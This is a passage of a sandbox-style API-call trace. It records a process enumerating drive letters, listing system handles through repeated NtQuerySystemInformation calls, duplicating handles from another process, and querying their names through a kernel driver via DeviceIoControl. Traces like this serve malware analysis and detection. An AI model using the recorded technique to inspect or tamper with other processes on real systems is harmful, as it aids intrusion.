SetLastError (dwErrCode=0x0) [0102.333] GetLastError () returned 0x0 [0102.333] SetLastError (dwErrCode=0x0) [0102.333] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0102.333] GetLastError () returned 0x0 [0102.333] SetLastError (dwErrCode=0x0) [0102.333] GetLastError () returned 0x0 [0102.333] SetLastError (dwErrCode=0x0) [0102.333] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0102.333] GetLastError () returned 0x0 [0102.333] SetLastError (dwErrCode=0x0) [0102.333] GetLastError () returned 0x0 [0102.333] SetLastError (dwErrCode=0x0) [0102.333] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0102.333] GetLastError () returned 0x0 [0102.333] SetLastError (dwErrCode=0x0) [0102.333] GetLastError () returned 0x0 [0102.333] SetLastError (dwErrCode=0x0) [0102.334] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetLastError () returned 0x0 [0102.334] SetLastError (dwErrCode=0x0) [0102.334] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetLastError () returned 0x0 [0102.335] SetLastError (dwErrCode=0x0) [0102.335] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0102.336] GetLastError () returned 0x0 [0102.336] SetLastError (dwErrCode=0x0) [0102.336] GetLastError () returned 0x0 [0102.336] SetLastError (dwErrCode=0x0) [0102.336] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0102.336] GetLastError () returned 0x0 [0102.336] SetLastError (dwErrCode=0x0) [0102.336] GetLastError () returned 0x0 [0102.336] SetLastError (dwErrCode=0x0) [0102.336] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0102.336] GetLastError () returned 0x0 [0102.336] SetLastError (dwErrCode=0x0) [0102.336] GetLastError () returned 0x0 [0102.336] SetLastError (dwErrCode=0x0) [0102.336] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.337] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.337] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.337] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.337] GetLastError () returned 0x0 [0102.337] SetLastError (dwErrCode=0x0) [0102.338] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0102.338] GetLastError () returned 0x0 [0102.338] SetLastError (dwErrCode=0x0) [0102.338] GetLastError () returned 0x0 [0102.338] SetLastError (dwErrCode=0x0) [0102.338] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0102.338] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x4000) returned 0x1a8b10 [0102.338] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1a8b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x6faa0) returned 0xc0000004 [0102.344] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.344] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x8000) returned 0x1a8b10 [0102.344] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1a8b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x6faa0) returned 0xc0000004 [0102.346] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.346] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x10000) returned 0x1a8b10 [0102.346] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1a8b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x6faa0) returned 0xc0000004 [0102.350] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.350] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x20000) returned 0x1a8b10 [0102.350] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1a8b10, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x6faa0) returned 0xc0000004 [0102.357] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.357] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x40000) returned 0x1a8b10 [0102.358] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1a8b10, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x6fe10) returned 0xc0000004 [0102.502] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.503] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x80000) returned 0x1db0080 [0102.504] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1db0080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1db0080, ResultLength=0x12e420*=0x6fed8) returned 0x0 [0102.525] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x4000) returned 0x1a8b10 [0102.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1a8b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x13190) returned 0xc0000004 [0102.525] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.525] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x8000) returned 0x1a8b10 [0102.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1a8b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x13190) returned 0xc0000004 [0102.525] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.525] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0xc000) returned 0x1a8b10 [0102.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1a8b10, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x13190) returned 0xc0000004 [0102.526] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.526] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x10000) returned 0x1a8b10 [0102.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1a8b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x13190) returned 0xc0000004 [0102.526] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a8b10 | out: hHeap=0x180000) returned 1 [0102.526] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x14000) returned 0x1a8b10 [0102.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1a8b10, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x1a8b10, ResultLength=0x12e420*=0x13190) returned 0x0 [0102.526] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc0 [0102.526] GetCurrentProcess () returned 0xffffffffffffffff [0102.526] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x24, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.526] CloseHandle (hObject=0xc0) returned 1 [0102.526] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.526] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.526] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.527] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.527] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0102.527] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.527] PsAcquireProcessExitSynchronization () returned 0x0 [0102.527] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0102.527] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800250fd10, HandleInformation=0x0) returned 0x0 [0102.527] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.527] PsReleaseProcessExitSynchronization () returned 0x2 [0102.527] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xd [0102.527] ObQueryNameString (in: Object=0xfffffa800250fd10, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.527] ObfDereferenceObject (Object=0xfffffa800250fd10) returned 0x2 [0102.527] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.527] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.527] CloseHandle (hObject=0xc4) returned 1 [0102.527] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc4 [0102.527] GetCurrentProcess () returned 0xffffffffffffffff [0102.527] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.528] CloseHandle (hObject=0xc4) returned 1 [0102.528] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.528] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1a4c50 [0102.528] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.528] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.528] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0102.528] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.528] PsAcquireProcessExitSynchronization () returned 0x0 [0102.528] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0102.528] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0102.528] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.528] PsReleaseProcessExitSynchronization () returned 0x2 [0102.528] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xd [0102.528] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.528] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0x103 [0102.528] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.528] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.528] CloseHandle (hObject=0xc0) returned 1 [0102.528] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc0 [0102.528] GetCurrentProcess () returned 0xffffffffffffffff [0102.528] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.528] CloseHandle (hObject=0xc0) returned 1 [0102.529] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.529] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.529] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.529] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.529] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0102.529] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.529] PsAcquireProcessExitSynchronization () returned 0x0 [0102.529] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0102.529] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0102.529] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.529] PsReleaseProcessExitSynchronization () returned 0x2 [0102.529] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xd [0102.529] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.529] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x4ac [0102.529] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.529] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.529] CloseHandle (hObject=0xc4) returned 1 [0102.529] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc4 [0102.529] GetCurrentProcess () returned 0xffffffffffffffff [0102.529] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.529] CloseHandle (hObject=0xc4) returned 1 [0102.529] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.529] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x80) returned 0x1a4c50 [0102.529] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.529] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.529] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.529] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.529] PsAcquireProcessExitSynchronization () returned 0x0 [0102.529] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0102.530] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025865a0, HandleInformation=0x0) returned 0x0 [0102.530] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.530] PsReleaseProcessExitSynchronization () returned 0x2 [0102.530] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xd [0102.530] ObQueryNameString (in: Object=0xfffffa80025865a0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.530] ObfDereferenceObject (Object=0xfffffa80025865a0) returned 0x4 [0102.530] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.530] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.530] CloseHandle (hObject=0xc0) returned 1 [0102.530] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc0 [0102.530] GetCurrentProcess () returned 0xffffffffffffffff [0102.530] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x10, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.530] CloseHandle (hObject=0xc0) returned 1 [0102.530] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.530] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.530] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.530] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.530] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.530] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.530] PsAcquireProcessExitSynchronization () returned 0x0 [0102.530] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0102.530] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021782a0, HandleInformation=0x0) returned 0x0 [0102.530] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.530] PsReleaseProcessExitSynchronization () returned 0x2 [0102.530] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xd [0102.530] ObQueryNameString (in: Object=0xfffffa80021782a0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.530] ObfDereferenceObject (Object=0xfffffa80021782a0) returned 0x3 [0102.530] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.530] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.531] CloseHandle (hObject=0xc4) returned 1 [0102.531] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc4 [0102.531] GetCurrentProcess () returned 0xffffffffffffffff [0102.531] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.531] CloseHandle (hObject=0xc4) returned 1 [0102.531] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.531] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x80) returned 0x1a4c50 [0102.531] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.531] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.531] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x1e, lpOverlapped=0x0) returned 1 [0102.531] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.531] PsAcquireProcessExitSynchronization () returned 0x0 [0102.531] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0102.531] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0004cdd40, HandleInformation=0x0) returned 0x0 [0102.531] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.531] PsReleaseProcessExitSynchronization () returned 0x2 [0102.531] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xd [0102.531] ObQueryNameString (in: Object=0xfffff8a0004cdd40, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.531] ObfDereferenceObject (Object=0xfffff8a0004cdd40) returned 0x92 [0102.531] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.531] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.531] CloseHandle (hObject=0xc0) returned 1 [0102.531] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc0 [0102.531] GetCurrentProcess () returned 0xffffffffffffffff [0102.531] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.531] CloseHandle (hObject=0xc0) returned 1 [0102.531] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.531] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x70) returned 0x1a4c50 [0102.531] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x70, 